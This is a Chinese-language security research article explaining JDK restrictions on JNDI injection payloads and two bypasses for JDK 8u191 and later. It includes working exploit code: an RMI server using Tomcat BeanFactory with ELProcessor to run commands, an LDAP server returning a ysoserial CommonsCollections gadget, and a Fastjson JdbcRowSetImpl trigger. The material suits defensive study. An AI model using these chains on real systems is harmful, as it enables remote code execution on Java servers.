作者:KINGX
公眾號:https://mp.weixin.qq.com/s/Dq1CPbUDLKH2IN0NA_nBDA
寫在前面
Java JNDI注入有很多種不同的利用載荷,而這些Payload分別會面臨一些限制。筆者在實際測試過程中也遇到過很多有限制的情況,這里做個梳理并分享下如何繞過這些限制。關于JNDI注入和RMI的基礎知識,可以在我之前的文章《深入理解JNDI注入與Java反序列化漏洞利用》中獲取。我們先看看JDK對各種Payload有什么限制:
1. RMI Remote Object Payload(限制較多,不常使用)
攻擊者實現一個RMI惡意遠程對象并綁定到RMI Registry上,編譯后的RMI遠程對象類可以放在HTTP/FTP/SMB等服務器上,這個Codebase地址由遠程服務器的 java.rmi.server.codebase 屬性設置,供受害者的RMI客戶端遠程加載,RMI客戶端在 lookup() 的過程中,會先嘗試在本地CLASSPATH中去獲取對應的Stub類的定義,并從本地加載,然而如果在本地無法找到,RMI客戶端則會向遠程Codebase去獲取攻擊者指定的惡意對象,這種方式將會受到 useCodebaseOnly 的限制。利用條件如下:
- RMI客戶端的上下文環境允許訪問遠程Codebase。
- 屬性 java.rmi.server.useCodebaseOnly 的值必需為false。
然而從JDK 6u45、7u21開始,java.rmi.server.useCodebaseOnly 的默認值就是true。當該值為true時,將禁用自動加載遠程類文件,僅從CLASSPATH和當前VM的java.rmi.server.codebase 指定路徑加載類文件。使用這個屬性來防止客戶端VM從其他Codebase地址上動態加載類,增加了RMI ClassLoader的安全性。
Changelog:
- JDK 6u45 https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/relnotes.html
- JDK 7u21 http://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html
2. RMI + JNDI Reference Payload
攻擊者通過RMI服務返回一個JNDI Naming Reference,受害者解碼Reference時會去我們指定的Codebase遠程地址加載Factory類,但是原理上并非使用RMI Class Loading機制的,因此不受 java.rmi.server.useCodebaseOnly 系統屬性的限制,相對來說更加通用。
但是在JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服務中JNDI Reference遠程加載Object Factory類的特性。系統屬性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默認值變為false,即默認不允許從遠程的Codebase加載Reference工廠類。如果需要開啟 RMI Registry 或者 COS Naming Service Provider的遠程類加載功能,需要將前面說的兩個屬性值設置為true。
Changelog:
- JDK 6u141 http://www.oracle.com/technetwork/java/javase/overview-156328.html#R160_141
- JDK 7u131 http://www.oracle.com/technetwork/java/javase/7u131-relnotes-3338543.html
- JDK 8u121 http://www.oracle.com/technetwork/java/javase/8u121-relnotes-3315208.html
3. LDAP + JNDI Reference Payload
除了RMI服務之外,JNDI還可以對接LDAP服務,LDAP也能返回JNDI Reference對象,利用過程與上面RMI Reference基本一致,只是lookup()中的URL為一個LDAP地址:ldap://xxx/xxx,由攻擊者控制的LDAP服務端返回一個惡意的JNDI Reference對象。并且LDAP服務的Reference遠程加載Factory類不受上一點中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等屬性的限制,所以適用范圍更廣。
不過在2018年10月,Java最終也修復了這個利用點,對LDAP Reference遠程工廠類的加載增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認值被調整為false,還對應的分配了一個漏洞編號CVE-2018-3149。
4. 繞過JDK 8u191+等高版本限制
所以對于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK來說,默認環境下之前這些利用方式都已經失效。然而,我們依然可以進行繞過并完成利用。兩種繞過方法如下:
- 找到一個受害者本地CLASSPATH中的類作為惡意的Reference Factory工廠類,并利用這個本地的Factory類執行命令。
- 利用LDAP直接返回一個惡意的序列化對象,JNDI注入依然會對該對象進行反序列化操作,利用反序列化Gadget完成命令執行。
這兩種方式都非常依賴受害者本地CLASSPATH中環境,需要利用受害者本地的Gadget進行攻擊。
繞過限制:利用本地Class作為Reference Factory
在高版本中(如:JDK8u191以上版本)雖然不能從遠程加載惡意的Factory,但是我們依然可以在返回的Reference中指定Factory Class,這個工廠類必須在受害目標本地的CLASSPATH中。工廠類必須實現 javax.naming.spi.ObjectFactory 接口,并且至少存在一個 getObjectInstance() 方法。org.apache.naming.factory.BeanFactory 剛好滿足條件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依賴包中,所以使用也是非常廣泛。
org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中會通過反射的方式實例化Reference所指向的任意Bean Class,并且會調用setter方法為所有的屬性賦值。而該Bean Class的類名、屬性、屬性值,全都來自于Reference對象,均是攻擊者可控的。
Tips: 根據beanFactory的代碼邏輯,要求傳入的Reference為ResourceRef類

這個情況下,目標Bean Class必須有一個無參構造方法,有public的setter方法且參數為一個String類型。事實上,這些setter不一定需要是set..開頭的方法,根據org.apache.naming.factory.BeanFactory中的邏輯,我們可以把某個方法強制指定為setter。
這里,我們找到了javax.el.ELProcessor可以作為目標Class。啟動RMI Server的利用代碼如下:
Registry registry = LocateRegistry.createRegistry(rmi_port);
// 實例化Reference,指定目標類為javax.el.ELProcessor,工廠類為org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 強制將 'x' 屬性的setter 從 'setX' 變為 'eval', 詳細邏輯見 BeanFactory.getObjectInstance 代碼
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
// 利用表達式執行命令
ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
"forceString"可以給屬性強制指定一個setter方法,這里我們將屬性"KINGX"的setter方法設置為 ELProcessor.eval() 方法。

于是我們 ResourceRef 中加上元素"KINGX",賦值為需要執行的惡意代碼。最后調用setter就變成了執行如下代碼:
ELProcessor.eval(\"\".getClass().forName("javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\"))
ELProcessor.eval()會對EL表達式進行求值,最終達到命令執行的效果。
這種繞過方式需要目標環境中存在Tomcat相關依賴,當然其他Java Server可能也存在可被利用的Factory類,可以進一步研究。
繞過限制:利用LDAP返回序列化數據,觸發本地Gadget
目錄是一種分布式數據庫,目錄服務是由目錄數據庫和一套訪問協議組成的系統。LDAP全稱是輕量級目錄訪問協議(The Lightweight Directory Access Protocol),它提供了一種查詢、瀏覽、搜索和修改互聯網目錄數據的機制,運行在TCP/IP協議棧之上,基于C/S架構。除了RMI服務之外,JNDI也可以與LDAP目錄服務進行交互,Java對象在LDAP目錄中也有多種存儲形式:
- Java序列化
- JNDI Reference
- Marshalled對象
- Remote Location (已棄用)
LDAP可以為存儲的Java對象指定多種屬性:
- javaCodeBase
- objectClass
- javaFactory
- javaSerializedData
- ...
這里 javaCodebase 屬性可以指定遠程的URL,這樣黑客可以控制反序列化中的class,通過JNDI Reference的方式進行利用(這里不再贅述,示例代碼可以參考文末的Demo鏈接)。不過像前文所說的,高版本JVM對Reference Factory遠程加載類進行了安全限制,JVM不會信任LDAP對象反序列化過程中加載的遠程類。此時,攻擊者仍然可以利用受害者本地CLASSPATH中存在漏洞的反序列化Gadget達到繞過限制執行命令的目的。
簡而言之,LDAP Server除了使用JNDI Reference進行利用之外,還支持直接返回一個對象的序列化數據。如果Java對象的 javaSerializedData 屬性值不為空,則客戶端的 obj.decodeObject() 方法就會對這個字段的內容進行反序列化。其中具體的處理代碼如下:
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[])attr.get(), cl);
}
我們假設目標系統中存在著有漏洞的CommonsCollections庫,使用ysoserial生成一個CommonsCollections的利用Payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
LDAP Server關鍵代碼如下,我們在javaSerializedData字段內填入剛剛生成的反序列化payload數據:
...
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
/** Payload1: Return Evil Reference Factory **/
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
/** Payload2: Return Evil Serialized Gadget **/
try {
// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyABFqYXZhLn....."));
} catch (ParseException e1) {
e1.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
...
模擬受害者進行JNDI lookup操作,或者使用Fastjson等漏洞模擬觸發,即可看到彈計算器的命令被執行。
Hashtable env = new Hashtable();
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("ldap://127.0.0.1:1389/Exploit");
String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
這種繞過方式需要利用一個本地的反序列化利用鏈(如CommonsCollections),然后可以結合Fastjson等漏洞入口點和JdbcRowSetImpl進行組合利用。
End
本文內的相關測試代碼見Github https://github.com/kxcode/JNDI-Exploit-Bypass-Demo
Reference
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://www.veracode.com/blog/research/exploiting-jndi-injections-java
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/942/
暫無評論